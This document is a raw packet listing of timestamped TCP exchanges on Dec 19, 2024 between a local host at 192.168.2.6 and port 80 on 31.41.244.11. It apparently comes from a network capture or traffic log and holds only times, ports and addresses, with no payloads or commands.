Dec 19, 2024 08:09:14.042886019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.043977022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.044025898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.044039011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.044199944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.045051098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.045104027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.045135975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.045181036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.046263933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.046304941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.046339035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.046355009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.047396898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.047449112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.047528028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.048408031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.048580885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.048682928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.048713923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.048759937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.049753904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.049797058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.049966097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.050009012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.050972939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.051023006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.051028967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.051069021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.052144051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.052189112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.052290916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.052432060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.053385973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.053466082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.053514004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.054550886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.054604053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.054636955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.054677963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.055715084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.055762053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.055798054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.055843115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.056879997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.056983948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.057029009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.058084965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.058134079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.058151960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.058196068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.223525047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.223539114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.223546982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.223606110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.223648071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.226368904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.226418972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.340241909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.340267897 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.340327024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.342889071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.342904091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.342936993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.342973948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.346007109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.346062899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460005999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460027933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460040092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460052013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460063934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460077047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460083961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460088968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460102081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460114002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460125923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460136890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460140944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460150003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460165024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460190058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460261106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460273981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460316896 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460330009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460340023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460352898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460365057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460376024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460383892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460390091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460403919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460407972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460419893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460428953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460432053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460445881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460458040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.460463047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460483074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.460510969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.461209059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461261034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.461369991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461383104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461394072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461405993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461416960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.461419106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461431026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461435080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.461467981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.461478949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461489916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.461520910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.461560011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.462105036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462156057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.462163925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462176085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462188959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462213039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.462239981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.462444067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462455988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462466955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462479115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462515116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.462521076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462533951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462542057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.462548018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462560892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.462578058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.462606907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.463299036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463310957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463387012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.463388920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463402033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463445902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.463445902 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463460922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463471889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463484049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.463502884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.463521004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.464229107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.464241028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.464252949 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.464267015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.464303017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.464325905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.464333057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.464348078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.464375019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.464384079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.464426041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.465248108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.465260029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.465272903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.465300083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.465320110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.465327978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.465332985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.465344906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.465357065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.465368986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.465383053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.465413094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.465970039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466032028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.466062069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466074944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466104031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.466118097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.466137886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466185093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.466190100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466202021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466237068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466248989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466248989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.466259956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.466278076 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.466301918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.466983080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467042923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.467092037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467104912 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467116117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467128038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467138052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.467165947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.467171907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467185020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467195988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467207909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467212915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.467240095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.467267990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.467931986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467946053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.467983961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.467999935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468014002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468024969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468035936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468060017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.468090057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.468125105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.468759060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468899012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468909979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.468916893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468929052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468959093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468959093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.468970060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468982935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.468990088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.469016075 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.469041109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.473654985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.473665953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.473676920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.473689079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.473701000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.473711967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.473712921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.473736048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.473762035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.474407911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474420071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474431992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474442959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474483967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.474514961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.474541903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474555016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474562883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474575043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474586964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474591970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.474597931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474610090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474620104 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.474622011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.474641085 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.474669933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.475357056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475369930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475409031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.475419044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475430012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475440025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475451946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475467920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475474119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.475480080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475491047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475501060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475502968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.475512981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475522995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.475526094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.475548983 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.475569010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.476300001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476313114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476321936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476332903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476344109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476351976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.476356030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476366997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476377964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476387024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.476388931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476394892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476407051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.476418972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.476454973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.476466894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.477102995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.477303982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.477315903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.477338076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.477349043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.477359056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.477361917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.477371931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.477387905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.477432013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.478108883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478121996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478243113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478254080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478271008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.478281021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478292942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.478292942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478302956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478312969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.478336096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.478349924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.478991032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479074955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.479156017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479191065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479201078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479202986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.479211092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479221106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479228020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479232073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.479233027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479243994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479249954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.479254007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.479280949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.479306936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.480005026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480016947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480026007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480036974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480046988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480053902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.480058908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480070114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480082035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.480082989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480093956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480097055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.480104923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480115891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480127096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480129957 CET	49802	80	192.168.2.6	31.41.244.11
